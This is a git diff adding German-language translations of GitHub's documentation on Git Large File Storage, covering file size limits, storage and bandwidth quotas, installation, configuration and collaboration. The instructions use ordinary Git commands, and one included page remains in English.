+Du kannst {% data variables.large_files.product_name_short %} auch mit {% data variables.product.prodname_desktop %} verwenden. Weitere Informationen zum Klonen von Git LFS-Repositorys in {% data variables.product.prodname_desktop %} findest du unter [Klonen eines Repositorys von GitHub in GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop).
+
+{% data reusables.large_files.can-include-lfs-objects-archives %}
+
+## Format der Pointer-Datei
+
+Die Pointer-Datei von {% data variables.large_files.product_name_short %} sieht folgendermaßen aus:
+
+```
+version {% data variables.large_files.version_name %}
+oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5
+size 84977953
+```
+
+Verfolgt wird die verwendete {% data variables.large_files.product_name_short %}-`version`, gefolgt von einem eindeutigen Bezeichner für die Datei (`oid`). Außerdem wird die `size` der endgültigen Datei gespeichert.
+
+{% note %}
+
+**Hinweise**:
+- {% data variables.large_files.product_name_short %} kann nicht für {% data variables.product.prodname_pages %}-Websites verwendet werden.
+- {% data variables.large_files.product_name_short %} kann nicht für Vorlagenrepositorys verwendet werden.
+  
+{% endnote %}
+
+## Weitere Informationsquellen
+
+- [Zusammenarbeit mit {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
new file mode 100644
index 0000000000..12765fb394
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md
@@ -0,0 +1,106 @@
+---
+title: About large files on GitHub
+intro: '{% data variables.product.product_name %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.'
+redirect_from:
+  - /articles/distributing-large-binaries
+  - /github/managing-large-files/distributing-large-binaries
+  - /github/managing-large-files/working-with-large-files/distributing-large-binaries
+  - /articles/removing-files-from-a-repository-s-history
+  - /articles/removing-files-from-a-repositorys-history
+  - /github/managing-large-files/removing-files-from-a-repositorys-history
+  - /github/managing-large-files/working-with-large-files/removing-files-from-a-repositorys-history
+  - /articles/conditions-for-large-files
+  - /github/managing-large-files/conditions-for-large-files
+  - /github/managing-large-files/working-with-large-files/conditions-for-large-files
+  - /articles/what-is-the-size-limit-for-a-repository
+  - /articles/what-is-my-disk-quota
+  - /github/managing-large-files/what-is-my-disk-quota
+  - /github/managing-large-files/working-with-large-files/what-is-my-disk-quota
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Large files
+---
+
+## About size limits on {% data variables.product.product_name %}
+
+{% ifversion fpt or ghec %}
+{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure.
+
+### File size limits
+{% endif %}
+
+{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)."
+
+{% note %}
+
+**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)."
+
+{% endnote %}
+
+{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks files larger than {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.location.product_location %}.  For more information, see "[Setting Git push limits](/enterprise/admin/guides/installation/setting-git-push-limits)."{% endif %}
+
+To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)."
+
+If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)."
+
+Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/).
+
+{% ifversion fpt or ghec or ghae %}
+### Repository size limits
+
+We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. {% ifversion ghae %}The maximum size for a repository on {% data variables.product.product_name %} is 100 GB. {% endif %}Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository.
+
+External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources.
+
+Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/).
+{% endif %}
+
+## Removing files from a repository's history
+
+{% warning %}
+
+**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.location.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository.
+
+{% endwarning %}
+
+### Removing a file added in the most recent unpushed commit
+
+If the file was added with your most recent commit, and you have not pushed to {% data variables.location.product_location %}, you can delete the file and amend the commit:
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.switching_directories_procedural %}
+3. To remove the file, enter `git rm --cached`:
+  ```shell
+  $ git rm --cached GIANT_FILE
+  # Stage our giant file for removal, but leave it on disk
+  ```
+4. Commit this change using `--amend -CHEAD`:
+  ```shell
+  $ git commit --amend -CHEAD
+  # Amend the previous commit with your change
+  # Simply making a new commit won't work, as you need
+  # to remove the file from the unpushed history as well
+  ```
+5. Push your commits to {% data variables.location.product_location %}:
+  ```shell
+  $ git push
+  # Push our rewritten, smaller commit
+  ```
+
+### Removing a file that was added in an earlier commit
+
+If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)."
+
+## Distributing large binaries
+
+If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)."
+
+{% ifversion fpt or ghec %}
+
+We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}.
+
+{% endif %}
+
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
new file mode 100644
index 0000000000..baca939515
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
@@ -0,0 +1,54 @@
+---
+title: Informationen zur Speicher- und Bandbreitennutzung
+intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}'
+redirect_from:
+  - /articles/billing-plans-for-large-file-storage
+  - /articles/billing-plans-for-git-large-file-storage
+  - /articles/about-storage-and-bandwidth-usage
+  - /github/managing-large-files/about-storage-and-bandwidth-usage
+  - /github/managing-large-files/versioning-large-files/about-storage-and-bandwidth-usage
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Storage & bandwidth
+ms.openlocfilehash: 8a6dd01c62b5b1c69afe29536e3d4ba206e988e7
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883027'
+---
+{% data variables.large_files.product_name_short %} ist für jedes Repository auf {% data variables.product.product_name %} verfügbar, unabhängig davon, ob dein Konto oder deine Organisation ein kostenpflichtiges Abonnement hat oder nicht.
+
+## Speicher- und Bandbreitennutzung verfolgen
+
+Wenn du eine Änderung an einer Datei, die mit {% data variables.large_files.product_name_short %} verfolgt wird, committest und pushst, wird eine neue Version der gesamten Datei gepusht, und die gesamte Dateigröße wird auf die Speicherbegrenzung des Repository-Inhabers angerechnet. Wenn du eine Datei herunterlädst, die mit {% data variables.large_files.product_name_short %} verfolgt wird, wird die gesamte Dateigröße auf die Bandbreitenbegrenzung des Repository-Besitzers angerechnet. {% data variables.large_files.product_name_short %}-Uploads werden nicht auf die Bandbreitenbegrenzung angerechnet.
+
+Beispiel:
+- Wenn du eine 500-MB-Datei an {% data variables.large_files.product_name_short %} pushst, nutzt du 500 MB deines verfügbaren Speichers und keine Bandbreite. Wenn du eine Änderung von 1 Byte vornimmst und die Datei erneut überträgst, nutzt du weitere 500 MB Speicherplatz und keine Bandbreite, wodurch deine Gesamtnutzung für diese beiden Pushes bei 1 GB Speicherplatz und Null Bandbreite liegt.
+- Wenn du eine 500-MB-Datei herunterlädst, die mit LFS verfolgt wird, verwendest du 500 MB der vom Repository-Inhaber zur Verfügung gestellten Bandbreite. Wenn ein Mitarbeiter eine Änderung an eine Datei überträgt und du die neue Version in dein lokales Repository lädst, verwendest du weitere 500 MB Bandbreite, wodurch die Gesamtnutzung für diese beiden Downloads bei 1 GB Bandbreite liegt.
+- Wenn {% data variables.product.prodname_actions %} eine 500 MB Datei herunterlädt, die mit LFS nachverfolgt wird, werden damit 500 MB der zugewiesenen Bandbreite des Repositorybesitzers verbraucht.
+
+{% ifversion fpt or ghec %} Wenn in den Quellcodearchiven deines Repositorys {% data variables.large_files.product_name_long %}-Objekte ({% data variables.large_files.product_name_short %}) enthalten sind, werden Downloads dieser Archive auf die Bandbreitennutzung dieses Repositorys angerechnet. Weitere Informationen findest du unter [Verwalten von {% data variables.large_files.product_name_short %}-Objekten in Archiven in deinem Repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository).
+{% endif %}
+
+{% tip %}
+
+**Tipps**:
+- {% data reusables.large_files.owner_quota_only %}
+- {% data reusables.large_files.does_not_carry %}
+
+{% endtip %}
+
+## Speicherkontingent
+
+Wenn du mehr als {% data variables.large_files.initial_storage_quota %} des Speichers nutzt, ohne ein Datenpaket zu kaufen, kannst du immer noch Repositorys mit großen Objekten klonen. Allerdings kannst du nur die Pointer-Dateien abrufen, aber keine neuen Dateien zurück übertragen. Weitere Informationen zu Pointer-Dateien findest du unter [Informationen zu {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format).
+
+## Bandbreiten-Kontingent
+
+Wenn du mehr als {% data variables.large_files.initial_bandwidth_quota %} der monatlichen Bandbreite nutzt, ohne ein Datenpaket zu kaufen, wird die {% data variables.large_files.product_name_short %}-Unterstützung für dein Konto bis zum nächsten Monat deaktiviert.
+
+## Weiterführende Themen
+
+- [Informationen zur Nutzung für {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)
+- [Verwalten der Abrechnung für {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
new file mode 100644
index 0000000000..c36e78c1fd
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
@@ -0,0 +1,52 @@
+---
+title: Mit Git Large File Storage zusammenarbeiten
+intro: 'Wenn {% data variables.large_files.product_name_short %} aktiviert ist, kannst du große Dateien abrufen, ändern und pushen wie jede große, von Git verwaltete Datei. Benutzer, die nicht über {% data variables.large_files.product_name_short %} verfügen, erleben dagegen einen anderen Workflow.'
+redirect_from:
+  - /articles/collaboration-with-large-file-storage
+  - /articles/collaboration-with-git-large-file-storage
+  - /github/managing-large-files/collaboration-with-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/collaboration-with-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Collaboration
+ms.openlocfilehash: 4589487059e2949da64ebf40e8a602703fed2c01
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131932'
+---
+Wenn Mitarbeiter an Ihrem Repository {% data variables.large_files.product_name_short %} nicht installiert haben, haben sie keinen Zugriff auf die große Originaldatei. Wenn sie versuchen, Dein Repository zu klonen, rufen sie nur die Pointer-Dateien ab und haben keinen Zugriff auf die tatsächlichen Daten.
+
+{% tip %}
+
+**Tipp:** Um Benutzer zu unterstützen, für die {% data variables.large_files.product_name_short %} nicht aktiviert ist, empfehlen wir, Richtlinien für Repositorymitwirkende festzulegen, die den Umgang mit großen Dateien beschreiben. Beispielsweise kannst du Mitwirkende auffordern, große Dateien nicht zu ändern oder keine Änderungen an einem Dateifreigabedienst wie [Dropbox](http://www.dropbox.com/) oder <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a> hochzuladen. Weitere Informationen findest du unter [Festlegen von Richtlinien für Repositorymitwirkende](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors).
+
+{% endtip %}
+
+## Große Dateien in Pull Requests anzeigen
+
+{% data variables.product.product_name %} stellt keine {% data variables.large_files.product_name_short %}-Objekte in Pull Requests dar. Nur die Pointer-Datei wird angezeigt:
+
+![Beispiel-Pull-Request für große Dateien](/assets/images/help/large_files/large_files_pr.png)
+
+Weitere Informationen zu Pointer-Dateien findest du unter [Informationen zu {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format).
+
+Um Änderungen an großen Dateien zu sehen, checke den Pull Request lokal aus, um den Diff zu überprüfen. Weitere Informationen findest du unter [Lokales Auschecken von Pull Requests](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally).
+
+{% ifversion fpt or ghec %}
+
+## Große Dateien zu Forks pushen
+
+Das Pushen großer Dateien zu Forks eines Repositorys wird zum Bandbreiten- und Speicherkontingent des übergeordneten Repositorys hinzugerechnet, nicht zum Kontingent des Fork-Inhabers.
+
+Du kannst {% data variables.large_files.product_name_short %}-Objekte zu öffentlichen Forks übertragen, wenn das Repository-Netzwerk bereits {% data variables.large_files.product_name_short %}-Objekte enthält oder wenn Du Schreibzugriff auf den Root des Repository-Netzwerks besitzt.
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Duplizieren eines Repositorys mit Git Large File Storage-Objekten](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
new file mode 100644
index 0000000000..a8b350f48b
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
@@ -0,0 +1,76 @@
+---
+title: Git Large File Storage konfigurieren
+intro: 'Sobald [{% data variables.large_files.product_name_short %} installiert ist](/articles/installing-git-large-file-storage/), musst du die Zuordnung zu einer großen Datei in deinem Repository vornehmen.'
+redirect_from:
+  - /articles/configuring-large-file-storage
+  - /articles/configuring-git-large-file-storage
+  - /github/managing-large-files/configuring-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/configuring-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Configure Git LFS
+ms.openlocfilehash: 363e89be0c729b8ea6d5313cec0c7ce61654f229
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146331760'
+---
+Wenn in deinem Repository bereits Dateien vorhanden sind, für die du {% data variables.product.product_name %} verwenden möchtest, musst du sie zunächst aus dem Repository entfernen und lokal zu {% data variables.large_files.product_name_short %} hinzufügen. Weitere Informationen findest du unter [Verschieben einer Datei im Repository zu {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage).
+
+{% data reusables.large_files.resolving-upload-failures %}
+
+{% ifversion ghes or ghae %}
+
+{% tip %}
+
+**Hinweis**: Bevor du versuchst, eine große Datei per Push an {% data variables.product.product_name %} zu übertragen, musst du sicherstellen, dass {% data variables.large_files.product_name_short %} im Unternehmen aktiviert ist. Weitere Informationen findest du unter [Git Large File Storage auf GitHub Enterprise Server konfigurieren](/enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/).
+
+{% endtip %}
+
+{% endif %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Ändere das aktuelle Arbeitsverzeichnis in ein vorhandenes Repository, das du mit {% data variables.large_files.product_name_short %} verwenden möchten.
+3. Um eine Datei in deinem Repository {% data variables.large_files.product_name_short %} zuzuordnen, gibst du `git {% data variables.large_files.command_name %} track` ein, gefolgt vom Namen der Dateierweiterung, die du automatisch in {% data variables.large_files.product_name_short %} hochladen möchtest.
+
+  Um beispielsweise eine _.psd_-Datei zuzuordnen, gibst du den folgenden Befehl ein:
+  ```shell
+  $ git {% data variables.large_files.command_name %} track "*.psd"
+  > Adding path *.psd
+  ```
+  Jeder Dateityp, den du {% data variables.large_files.product_name_short %} zuordnen möchtest, muss mit `git {% data variables.large_files.command_name %} track` hinzugefügt werden. Dieser Befehl ändert die *.gitattributes*-Datei im Repository und ordnet große Dateien {% data variables.large_files.product_name_short %} zu.
+
+  {% note %}
+
+  **Hinweis:** Wir empfehlen dringend, die lokale *.gitattributes*-Datei in dein Repository zu committen.
+
+    - Die Nutzung einer globalen *.gitattributes*-Datei, die {% data variables.large_files.product_name_short %} zugeordnet ist, kann bei der Mitarbeit an anderen Git-Projekten Konflikte verursachen.
+    - Wenn sich die *.gitattributes*-Datei im Repository befindet, können Benutzer, die Forks oder frische Klone erstellen, einfacher mit {% data variables.large_files.product_name_short %} zusammenarbeiten.
+    - Mit der *.gitattributes*-Datei im Repository ist es möglich, {% data variables.large_files.product_name_short %}-Objekte optional in ZIP-Dateien und TAR-Archive aufzunehmen.
+
+  {% endnote %}
+
+4. Füge eine Datei zum Repository hinzu, die mit der verknüpften Erweiterung übereinstimmt:
+  ```shell
+  $ git add path/to/file.psd
+  ```
+5. Gib die Datei frei und übertrage sie zu {% data variables.product.product_name %}:
+  ```shell
+  $ git commit -m "add file.psd"
+  $ git push
+  ```
+  Du solltest Diagnoseinformationen zum Hochladen der Datei sehen:
+  ```shell
+  > Sending file.psd
+  > 44.74 MB / 81.04 MB  55.21 % 14s
+  > 64.74 MB / 81.04 MB  79.21 % 3s
+  ```
+
+## Weiterführende Themen
+
+- [Zusammenarbeit mit {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/){% ifversion fpt or ghec %}
+- [Verwalten von {% data variables.large_files.product_name_short %}-Objekten in Archiven im eigenen Repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository){% endif %}
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/index.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/index.md
new file mode 100644
index 0000000000..4bcc59a844
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/index.md
@@ -0,0 +1,33 @@
+---
+title: Große Dateien verwalten
+intro: Du kannst große Dateien mit Git Large File Storage verwalten.
+redirect_from:
+  - /categories/managing-large-files
+  - /github/managing-large-files
+  - /articles/versioning-large-files
+  - /github/managing-large-files/versioning-large-files
+  - /articles/working-with-large-files
+  - /github/managing-large-files/working-with-large-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-large-files-on-github
+  - /about-git-large-file-storage
+  - /installing-git-large-file-storage
+  - /configuring-git-large-file-storage
+  - /about-storage-and-bandwidth-usage
+  - /collaboration-with-git-large-file-storage
+  - /moving-a-file-in-your-repository-to-git-large-file-storage
+  - /removing-files-from-git-large-file-storage
+  - /resolving-git-large-file-storage-upload-failures
+ms.openlocfilehash: 74ada6c4ff70b61ae3403749b9faf32c975bc30d
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145131926'
+---
+
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
new file mode 100644
index 0000000000..2d3e6785d8
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
@@ -0,0 +1,122 @@
+---
+title: Git Large File Storage installieren
+intro: 'Um {% data variables.large_files.product_name_short %} zu verwenden, musst du ein neues, von Git unabhängiges Programm herunterladen und installieren.'
+redirect_from:
+  - /articles/installing-large-file-storage
+  - /articles/installing-git-large-file-storage
+  - /github/managing-large-files/installing-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/installing-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Install Git LFS
+ms.openlocfilehash: b7078a3147ed610ff67bdc4b0bdce93158279a94
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131925'
+---
+{% mac %}
+
+1. Navigiere zu [git-lfs.github.com](https://git-lfs.github.com), und klicke dann auf **Download**. Alternativ kannst du {% data variables.large_files.product_name_short %} auch mit einem Paketmanager installieren:
+    - Führe `brew install git-lfs` aus, um [Homebrew](http://brew.sh/) zu verwenden.
+    - Führe `port install git-lfs` aus, um [MacPorts](https://www.macports.org/) zu verwenden.
+
+ Wenn du {% data variables.large_files.product_name_short %} mit Homebrew oder MacPorts installierst, fahre mit Schritt 6 fort.
+
+2. Suche und entpacke auf deinem Computer die heruntergeladene Datei.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Ändere das aktuelle Arbeitsverzeichnis in den Ordner, in dem du die heruntergeladene Datei entpackt hast.
+  ```shell
+  $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
+  ```
+ {% note %}
+
+ **Hinweis:** der Dateipfad, den du hinter `cd` verwendest, hängt von deinem Betriebssystem, der heruntergeladenen Git LFS-Version und dem Speicherort des {% data variables.large_files.product_name_short %}-Downloads ab.
+
+ {% endnote %}
+4. Um die Datei zu installieren, führe den folgenden Befehl aus:
+  ```shell
+  $ ./install.sh
+  > {% data variables.large_files.product_name_short %} initialized.
+  ```
+ {% note %}
+
+ **Hinweis:** Möglicherweise musst du `sudo ./install.sh` verwenden, um die Datei zu installieren.
+
+ {% endnote %}
+5. Überprüfe, ob die Installation erfolgreich war:
+  ```shell
+  $ git {% data variables.large_files.command_name %} install
+  > {% data variables.large_files.product_name_short %} initialized.
+  ```
+6. Wenn keine Meldung angezeigt wird, die angibt, dass `git {% data variables.large_files.command_name %} install` erfolgreich war, wende dich an den {% data variables.contact.contact_support %}. Denke daran, den Namen deines Betriebssystems anzugeben.
+
+{% endmac %}
+
+{% windows %}
+
+1. Navigiere zu [git-lfs.github.com](https://git-lfs.github.com), und klicke dann auf **Download**.
+
+  {% tip %}
+
+  **Tipp:** Weitere Informationen zu alternativen Möglichkeiten zum Installieren von {% data variables.large_files.product_name_short %} für Windows findest du im [Leitfaden zu den ersten Schritten](https://github.com/github/git-lfs#getting-started).
+
+  {% endtip %}
+2. Suche auf deinem Computer die heruntergeladene Datei.
+3. Doppelklicke auf die Datei *git-lfs-windows-1.X.X.exe*, wobei 1.X.X durch die Version von Git LFS ersetzt wird, die du heruntergeladen hast. Wenn du diese Datei öffnest, führt Windows einen Einrichtungsassistenten für die Installation von {% data variables.large_files.product_name_short %} aus.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+5. Überprüfe, ob die Installation erfolgreich war:
+  ```shell
+  $ git {% data variables.large_files.command_name %} install
+  > {% data variables.large_files.product_name_short %} initialized.
+  ```
+6. Wenn keine Meldung angezeigt wird, die angibt, dass `git {% data variables.large_files.command_name %} install` erfolgreich war, wende dich an den {% data variables.contact.contact_support %}. Denke daran, den Namen deines Betriebssystems anzugeben.
+
+{% endwindows %}
+
+{% linux %}
+
+1. Navigiere zu [git-lfs.github.com](https://git-lfs.github.com), und klicke dann auf **Download**.
+
+  {% tip %}
+
+  **Tipp:** Weitere Informationen zu alternativen Möglichkeiten zum Installieren von {% data variables.large_files.product_name_short %} für Windows findest du im [Leitfaden zu den ersten Schritten](https://github.com/github/git-lfs#getting-started).
+
+  {% endtip %}
+2. Suche und entpacke auf deinem Computer die heruntergeladene Datei.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Ändere das aktuelle Arbeitsverzeichnis in den Ordner, in dem du die heruntergeladene Datei entpackt hast.
+  ```shell
+  $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
+  ```
+ {% note %}
+
+ **Hinweis:** der Dateipfad, den du hinter `cd` verwendest, hängt von deinem Betriebssystem, der heruntergeladenen Git LFS-Version und dem Speicherort des {% data variables.large_files.product_name_short %}-Downloads ab.
+
+ {% endnote %}
+4. Um die Datei zu installieren, führe den folgenden Befehl aus:
+  ```shell
+  $ ./install.sh
+  > {% data variables.large_files.product_name_short %} initialized.
+  ```
+ {% note %}
+
+ **Hinweis:** Möglicherweise musst du `sudo ./install.sh` verwenden, um die Datei zu installieren.
+
+ {% endnote %}
+5. Überprüfe, ob die Installation erfolgreich war:
+  ```shell
+  $ git {% data variables.large_files.command_name %} install
+  > {% data variables.large_files.product_name_short %} initialized.
+  ```
+6. Wenn keine Meldung angezeigt wird, die angibt, dass `git {% data variables.large_files.command_name %} install` erfolgreich war, wende dich an den {% data variables.contact.contact_support %}. Denke daran, den Namen deines Betriebssystems anzugeben.
+
+{% endlinux %}
+
+## Weitere Informationsquellen
+
+- [Konfigurieren von {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md
new file mode 100644
index 0000000000..a49e2084f7
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md
@@ -0,0 +1,38 @@
+---
+title: Verschieben einer Datei in deinem Repository zu Git Large File Storage
+intro: 'Wenn du {% data variables.large_files.product_name_short %} eingerichtet hast und eine bestehende Datei in deinem Repository in {% data variables.large_files.product_name_short %} nachverfolgt werden muss, musst du sie zunächst aus deinem Repository entfernen.'
+redirect_from:
+  - /articles/moving-a-file-in-your-repository-to-git-large-file-storage
+  - /github/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/moving-a-file-in-your-repository-to-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Move a file to Git LFS
+ms.openlocfilehash: fc03edc2ef82be8d7edb106a8c4a2a0b8efbeedb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131920'
+---
+Nach der Installation von {% data variables.large_files.product_name_short %} und dem Konfigurieren von {% data variables.large_files.product_name_short %}-Tracking (Nachverfolgung), kannst du Dateien von Git's regulärer Nachverfolgung nach {% data variables.large_files.product_name_short %} verschieben. Weitere Informationen findest du unter [Installieren von {% data variables.large_files.product_name_long %}](/github/managing-large-files/installing-git-large-file-storage) und [Konfigurieren von {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage).
+
+{% data reusables.large_files.resolving-upload-failures %}
+
+{% tip %}
+
+**Tipp:** Wenn beim Pushen von Dateien zu Git die Fehlermeldung „Dies überschreitet den Grenzwert von {% data variables.large_files.product_name_short %} für die Dateigröße von {% data variables.large_files.max_github_size %}“ angezeigt wird, kannst du anstelle von `filter branch` oder dem BFG Repo-Cleaner `git lfs migrate` verwenden, um die große Datei zu {% data variables.large_files.product_name_long %} zu verschieben. Weitere Informationen zum Befehl `git lfs migrate` findest du in der Ankündigung zum Release [Git LFS 2.2.0](https://github.com/blog/2384-git-lfs-2-2-0-released).
+
+{% endtip %}
+
+1.  Entferne die Datei mit dem Befehl `filter-branch` oder mit BFG Repo-Cleaner aus dem Git-Verlauf des Repositorys. Ausführliche Informationen zur Verwendung dieser Befehle findest du unter [Entfernen vertraulicher Daten aus einem Repository](/articles/removing-sensitive-data-from-a-repository).
+2. Konfiguriere die Nachverfolgung für die Datei, und pushe sie zu {% data variables.large_files.product_name_short %}. Weitere Informationen zu diesem Verfahren findest du unter [Konfigurieren von {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage).
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)
